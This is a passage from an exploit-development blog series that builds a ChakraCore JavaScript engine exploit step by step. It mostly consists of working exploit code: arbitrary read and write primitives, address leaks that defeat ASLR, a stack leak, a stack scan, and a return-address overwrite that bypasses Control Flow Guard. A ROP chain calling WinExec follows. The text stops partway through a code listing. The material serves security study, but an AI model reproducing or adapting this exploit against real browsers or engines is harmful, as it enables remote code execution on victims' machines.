	// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
	var arrayRead = new Uint32Array(0x10);
	arrayRead[0] = dataview2.getUint32(0x0, true); 	// 4-byte arbitrary read
	arrayRead[1] = dataview2.getUint32(0x4, true);	// 4-byte arbitrary read

	// Return the array
	return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
	dataview1.setUint32(0x38, lo, true); 		// DataView+0x38 = dataview2->buffer
	dataview1.setUint32(0x3C, hi, true);		// We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

	// Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
	dataview2.setUint32(0x0, valLo, true);		// 4-byte arbitrary write
	dataview2.setUint32(0x4, valHi, true);		// 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0, true);
	vtableHigh = dataview1.getUint32(4, true);

	// Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
}

main();

We know that in read64() we first corrupt dataview2->buffer with the target address we want to read from by using dataview1.setUint(0x38...). This is because buffer is located at an offset of 0x38 within the a DataView object. However, since dataview1 already acts on the dataview2 object, and we know that the vftable takes up bytes 0x0 through 0x8, as it is the first item of a DataView object, we can just simply using our ability to control dataview2, via dataview1 methods, to just go ahead and retrieve whatever is stored at bytes 0x0 - 0x8, which is the vftable! This is the only time we will perform a read without going through our read64() function (for the time being). This concept is fairly simple, and can be seen by the diagram below.

However, instead of using setUint32() methods to overwrite the vftable, we use the getUint32() method to retrieve the value.

Another thing to notice is we have broken up our read into two parts. This, as we remember, is because we can only read/write 32-bits at a time - so we must do it twice to achieve a 64-bit read/write.

It is important to note that we will not step through the debugger ever read64() and write64() function call. This is because we, in great detail, have already viewed our arbitrary write primitive in action within WinDbg. We already know what it looks like to corrupt dataview2->buffer using the builtin DataView method setUint32(), and then using the same method, on behalf of dataview2, to actually overwrite the buffer with our own data. Because of this, anything performed here on out in WinDbg will be purely for exploitation reasons. Here is what this looks like when executed in ch.exe.

If we inspect this address in the debugger, we can clearly see the is the vftable leaked from DataView!

From here, we can compute the base address of chakracore.dll by determining the offset between the vftable entry leak and the base of chakracore.dll.

The updated code to leak the base address of chakracore.dll can be found below:

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
}

main();

Please note that we will omit all code before opt(o, o, obj) from here on out. This is to save space, and because we won’t be changing any code before then. Notice also, again, we have to store the 64-bit address into two separate variables. This is because we can only access data types up to 32-bits in JavaScript (in terms of Chakra/ChakraCore).

For any kind of code execution, on Windows, we know we will need to resolve needed Windows API function addresses. Our exploit, for this part of the blog series, will invoke WinExec to spawn calc.exe (note that in part three we will be achieving a reverse shell, but since that exploit is much more complex, we first will start by just showing how code execution is possible).

On Windows, the Import Address Table (IAT) stores these needed pointers in a section of the PE. Remember that chakracore.dll isn’t loaded into the process space until ch.exe has executed our exploit.js. So, to view the IAT, we need to run our exploit.js, by way of ch.exe, in WinDbg. We need to set a breakpoint on our print() function by way of ch!WScriptJsrt::EchoCallback.

From here, we can run !dh chakracore to see where the IAT is for chakracore, which should contain a table of pointers to Windows API functions leveraged by ChakraCore.

After locating the IAT, we can simply just dump all the pointers located at chakracore+0x17c0000.

As we can see above, we can see that chakracore_iat+0x40 contains a pointer to kernel32.dll (specifically, kernel32!RaiseExceptionStub). We can use our read primitive on this address, in order to leak an address from kernel32.dll, and then compute the base address of kernel32.dll by the same method shown with the vftable leak.

Here is the updated code to get the base address of kernel32.dll:

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
}

main();

We can see from here we successfully leak the base address of kernel32.dll.

You may also wonder, our iatEntry is being treated as an array. This is actually because our read64() function returns an array of two 32-bit values. This is because we are reading 64-bit pointer-sized values, but remember that JavaScript only provides us with means to deal with 32-bit values at a time. Because of this, read64() stores the 64-bit address in two separated 32-bit values, which are managed by an array. We can see this by recalling the read64() function.

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getUint32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getUint32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

We now have pretty much all of the information we need in order to get started with code execution. Let’s see how we can go from ASLR leak to code execution, bearing in mind Control Flow Guard (CFG) and DEP are still items we need to deal with.

Code Execution - CFG Edition

In my previous post on exploiting Internet Explorer, we achieved code execution by faking a vftable and overwriting the function pointer with our ROP chain. This method is not possible in ChakraCore, or Edge, because of CFG.

CFG is an exploit mitigation that validates any indirect function calls. Any function call that performs call qword ptr [reg] would be considered an indirect function call, because there is now way for the program to know what RAX is pointing to when the call happens, so if an attacker was able to overwrite the pointer being called, they obviously can redirect execution anywhere in memory they control. This exact scenario is what we accomplished with our Internet Explorer vulnerability, but that is no longer possible.

With CFG enabled, anytime one of these indirect function calls is executed, we can now actually check to ensure that the function wasn’t overwritten with a nefarious address, controlled by an attacker. I won’t go into more detail, as I have already written about control-flow integrity on Windows before, but CFG basically means that we can’t overwrite a function pointer to gain code execution. So how do we go about this?

CFG is a forward-edge control-flow integrity solution. This means that anytime a call happens, CFG has the ability to check the function to ensure it hasn’t been corrupted. However, what about other control-flow transfer instructions, like a return instruction?

call isn’t the only way a program can redirect execution to another part of a PE or loaded image. ret is also an instruction that redirects execution somewhere else in memory. The way a ret instruction works, is that the value at RSP (the stack pointer) is loaded into RIP (the instruction pointer) for execution. If we think about a simple stack overflow, this is what we do essentially. We use the primitive to corrupt the stack to locate the ret address, and we overwrite it with another address in memory. This leads to control-flow hijacking, and the attacker can control the program.

Since we know a ret is capable of transferring control-flow somewhere else in memory, and since CFG doesn’t inspect ret instructions, we can simply use a primitive like how a traditional stack overflow works! We can locate a ret address that is on the stack (at the time of execution) in an executing thread, and we can overwrite that return address with data we control (such as a ROP gadget which returns into our ROP chain). We know this ret address will eventually be executed, because the program will need to use this return address to return execution to where it was before a given function (who’s return address we will corrupt) is overwritten.

The issue, however, is we have no idea where the stack is for the current thread, or other threads for that manner. Let’s see how we can leverage Chakra/ChakraCore’s architecture to leak a stack address.

Leaking a Stack Address

In order to find a return address to overwrite on the stack (really any active thread’s stack that is still committed to memory, as we will see in part three), we first need to find out where a stack address is. Ivan Fratric of Google Project Zero posted an issue awhile back about this exact scenario. As Ivan explains, a ThreadContext instance in ChakraCore contains stack pointers, such as stackLimitForCurrentThread. The chain of pointers is as follows: type->javascriptLibrary->scriptContext->threadContext. Notice anything about this? Notice the first pointer in the chain - type. As we know, a dynamic object is laid out in memory where vftable is the first hidden property, and type is the second! We already know we can leak the vftable of our dataview2 object (which we used to bypass ASLR). Let’s update our exploit.js to also leak the type of our dataview2 object, in order to follow this chain of pointers Ivan talks about.

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));
}

main();

We can see our exploit controls dataview2->type by way of typeLo and typeHigh.

Let’s now walk these structures in WinDbg to identify a stack address. Load up exploit.js in WinDbg and set a breakpoint on chakracore!Js::DataView::EntrySetUint32. When we hit this function, we know we are bound to see a dynamic object (DataView) in memory. We can then walk these pointers.

After hitting our breakpoint, let’s scroll down into the disassembly and set a breakpoint on the all-familiar SetValue() method.

After setting the breakpoint, we can hit g in the debugger and inspect the RCX register, which should be a DataView object.

The javascriptLibrary pointer is the first item we are looking for, per the Project Zero issue. We can find this pointer at an offset of 0x8 inside the type pointer.

From the javascriptLibrary pointer, we can retrieve the next item we are looking for - a ScriptContext structure. According to the Project Zero issue, this should be at an offset of javascriptLibrary+0x430. However, the Project Zero issue is considering Microsoft Edge, and the Chakra engine. Although we are leveraging CharkraCore, which is identical in most aspects to Chakra, the offsets of the structures are slightly different (when we port our exploit to Edge in part three, we will see we use the exact same offsets as the Project Zero issue). Our ScriptContext pointer is located at javascriptLibrary+0x450.

Perfect! Now that we have the ScriptContext pointer, we can compute the next offset - which should be our ThreadContext structure. This is found at scriptContext+0x3b8 in ChakraCore (the offset is different in Chakra/Edge).

Perfect! After leaking the ThreadContext pointer, we can go ahead and parse this with the dt command in WinDbg, since ChakraCore is open-sourced and we have the symbols.

As we can see above, ChakraCore/Chakra stores various stack addresses within this structure! This is fortunate for us, as now we can use our arbitrary read primitive to locate the stack! The only thing to notice is that this stack address is not from the currently executing thread (our exploiting thread). We can view this by using the !teb command in WinDbg to view information about the current thread, and see how the leaked address fairs.

As we can see, we are 0xed000 bytes away from the StackLimit of the current thread. This is perfectly okay, because this value won’t change in between reboots or ChakraCore being restated. This will be subject to change in our Edge exploit, and we will leak a different stack address within this structure. For now though, let’s use stackLimitForCurrrentThread.

Here is our updated code, including the stack leak.

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));
}

main();

Executing the code shows us that we have successfully leaked the stack for our current thread

Now that we have the stack located, we can scan the stack to locate a return address, which we can corrupt to gain code execution.

Locating a Return Address

Now that we have a read primitive and we know where the stack is located. With this ability, we can now “scan the stack” in search for any return addresses. As we know, when a call instruction occurs, the function being called pushes their return address onto the stack. This is so the function knows where to return execution after it is done executing and is ready to perform the ret. What we will be doing is locating the place on the stack where a function has pushed this return address, and we will corrupt it with some data we control.

To locate an optimal return address - we can take multiple approaches. The approach we will take will be that of a “brute-force” approach. This means we put a loop in our exploit that scans the entire stack for its contents. Any address of that starts with 0x7fff we can assume was a return address pushed on to the stack (this is actually a slight misnomer, as other data is located on the stack). We can then look at a few addresses in WinDbg to confirm if they are return addresses are not, and overwrite them accordingly. Do not worry if this seems like a daunting process, I will walk you through it.

Let’s start by adding a loop in our exploit.js which scans the stack.

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Loop
    while (counter < 0x10000)
    {
        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Print update
        print("[+] Stack address 0x" + hex(stackLeak[1]) + hex(stackLeak[0]+counter) + " contains: 0x" + hex(tempContents[1]) + hex(tempContents[0]));

        // Increment the counter
        counter += 0x8;
    }
}

main();

As we can see above, we are going to scan the stack, up through 0x10000 bytes (which is just a random arbitrary value). It is worth noting that the stack grows “downwards” on x64-based Windows systems. Since we have leaked the stack limit, this is technically the “lowest” address our stack can grow to. The stack base is known as the upper limit, to where the stack can also not grow past. This can be examined more thoroughly by referencing our !teb command output previously seen.

For instance, let’s say our stack starts at the address 0xf7056ff000 (based on the above image). We can see that this address is within the bounds of the stack base and stack limit. If we were to perform a push rax instruction to place RAX onto the stack, the stack address would then “grow” to 0xf7056feff8. The same concept can be applied to function prologues, which allocate stack space by performing sub rsp, 0xSIZE. Since we leaked the “lowest” the stack can be, we will scan “upwards” by adding 0x8 to our counter after each iteration.

Let’s now run our updated exploit.js in a cmd.exe session without any debugger attached, and output this to a file.

As we can see, we received an access denied. This actually has nothing to do with our exploit, except that we attempted to read memory that is invalid as a result of our loop. This is because we set an arbitrary value of 0x10000 bytes to read - but all of this memory may not be resident at the time of execution. This is no worry, because if we open up our results.txt file, where our output went, we can see we have plenty to work with here.

Scrolling down a bit in our results, we can see we have finally reached the location on the stack with return addresses and other data.

What we do next is a “trial-and-error” approach, where we take one of the 0x7fff addresses, which we know is a standard user-mode address that is from a loaded module backed by disk (e.g. ntdll.dll) and we take it, disassemble it in WinDbg to determine if it is a return address, and attempt to use it.

I have already gone through this process, but will still show you how I would go about it. For instance, after paring results.txt I located the address 0x7fff25c78b0 on the stack. Again, this could be another address with 0x7fff that ends in a ret.

After seeing this address, we need to find out if this is an actual ret instruction. To do this, we can execute our exploit within WinDbg and set a break-on-load breakpoint for chakracore.dll. This will tell WinDbg to break when chakracore.dll is loaded into the process space.

After chakracore.dll is loaded, we can disassemble our memory address and as we can see - this is a valid ret address.

What this means is at some point during our code execution, the function chakracore!JsRun is called. When this function is called, chakracore!JsRun+0x40 (the return address) is pushed onto the stack. When chakracore!JsRun is done executing, it will return to this instruction. What we will want to do is first execute a proof-of-concept that will overwrite this return address with 0x4141414141414141. This means when chakracore!JsRun is done executing (which should happen during the lifetime of our exploit running), it will try to load its return address into the instruction pointer - which will have been overwritten with 0x4141414141414141. This will give us control of the RIP register! Once more, to reiterate, the reason why we can overwrite this return address is because at this point in the exploit (when we scan the stack), chakracore!JsRun’s return address is on the stack. This means between the time our exploit is done executing, as the JavaScript will have been run (our exploit.js), chakracore!JsRun will have to return execution to the function which called it (the caller). When this happens, we will have corrupted the return address to hijack control-flow into our eventual ROP chain.

Now we have a target address, which is located 0x1768bc0 bytes away from chakrecore.dll.

With this in mind, we can update our exploit.js to the following, which should give us control of RIP.

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // When execution reaches here, stackLeak+counter contains the stack address with the return address we want to overwrite
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
}

main();

Let’s run this updated script in the debugger directly, without any breakpoints.

After running our exploit, we can see we encounter an access violation! We can see a ret instruction is attempting to be executed, which is attempting to return execution to the ret address we have overwritten! This is likely a result of our JsRun function invoking a function or functions which eventually return execution to the ret address of our JsRun function which we overwrote. If we take a look at the stack, we can see the culprit of our access violation - ChakraCore is trying to return into the address 0x4141414141414141 - an address which we control! This means we have successfully controlled program execution and RIP!

All there is now to do is write a ROP chain to the stack and overwrite RIP with our first ROP gadget, which will call WinExec to spawn calc.exe

Code Execution

With complete stack control via our arbitrary write primitive plus stack leak, and with control-flow hijacking available to us via a return address overwrite - we now have the ability to induce a ROP payload. This is, of course, due to the advent of DEP. Since we know where the stack is at, we can use our first ROP gadget in order to overwrite the return address we previously overwrote with 0x4141414141414141. We can use the rp++ utility in order to parse the .text section of chakracore.dll for any useful ROP gadgets. Our goal (for this part of the blog series) will be to invoke WinExec. Note that this won’t be possible in Microsoft Edge (which we will exploit in part three) due to the mitigation of no child processes in Edge. We will opt for a Meterpreter payload for our Edge exploit, which comes in the form of a reflective DLL to avoid spawning a new process. However, since CharkaCore doesn’t have these constraints, let’s parse chakracore.dll for ROP gadgets and then take a look at the WinExec prototype.

Let’s use the following rp++ command: rp-win-x64.exe -f C:\PATH\TO\ChakraCore\Build\VcBuild\x64_debug\ChakraCore.dll -r > C:\PATH\WHERE\YOU\WANT\TO\OUTPUT\gadgets.txt:

ChakraCore is a very large code base, so gadgets.txt will be decently big. This is also why the rp++ command takes a while to parse chakracore.dll. Taking a look at gadgets.txt, we can see our ROP gadgets.

Moving on, let’s take a look at the prototype of WinExec.

As we can see above, WinExec takes two parameters. Because of the __fastcall calling convention, the first parameter needs to be stored in RCX and the second parameter needs to be in RDX.

Our first parameter, lpCmdLine, needs to be a string which contains the contents of calc. At a deeper level, we need to find a memory address and use an arbitrary write primitive to store the contents there. In other works, lpCmdLine needs to be a pointer to the string calc.

Looking at our gadgets.txt file, let’s look for some ROP gadgets to help us achieve this. Within gadgets.txt, we find three useful ROP gadgets.

0x18003e876: pop rax ; ret ; \x26\x58\xc3 (1 found)
0x18003e6c6: pop rcx ; ret ; \x26\x59\xc3 (1 found)
0x1800d7ff7: mov qword [rcx], rax ; ret ; \x48\x89\x01\xc3 (1 found)

Here is how this will look in terms of our ROP chain:

pop rax ; ret
<0x636c6163> (calc in hex is placed into RAX)

pop rcx ; ret
<pointer to store calc> (pointer is placed into RCX)

mov qword [rcx], rax ; ret (fill pointer with calc)

Where we have currently overwritten our return address with a value of 0x4141414141414141, we will place our first ROP gadget of pop rax ; ret there to begin our ROP chain. We will then write the rest of our gadgets down the rest of the stack, where our ROP payload will be executed.

Our previous three ROP gagdets will place the string calc into RAX, the pointer where we want to write this string into RCX, and then a gadget used to actually update the contents of this pointer with the string.

Let’s update our exploit.js script with these ROP gadgets (note that rp++ can’t compensate for ASLR, and essentially computes the offset from the base of chakracore.dll. For example, the pop rax gadget is shown to be at 0x18003e876. What this means is that we can actually find this gadget at chakracore_base + 0x3e876.)

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

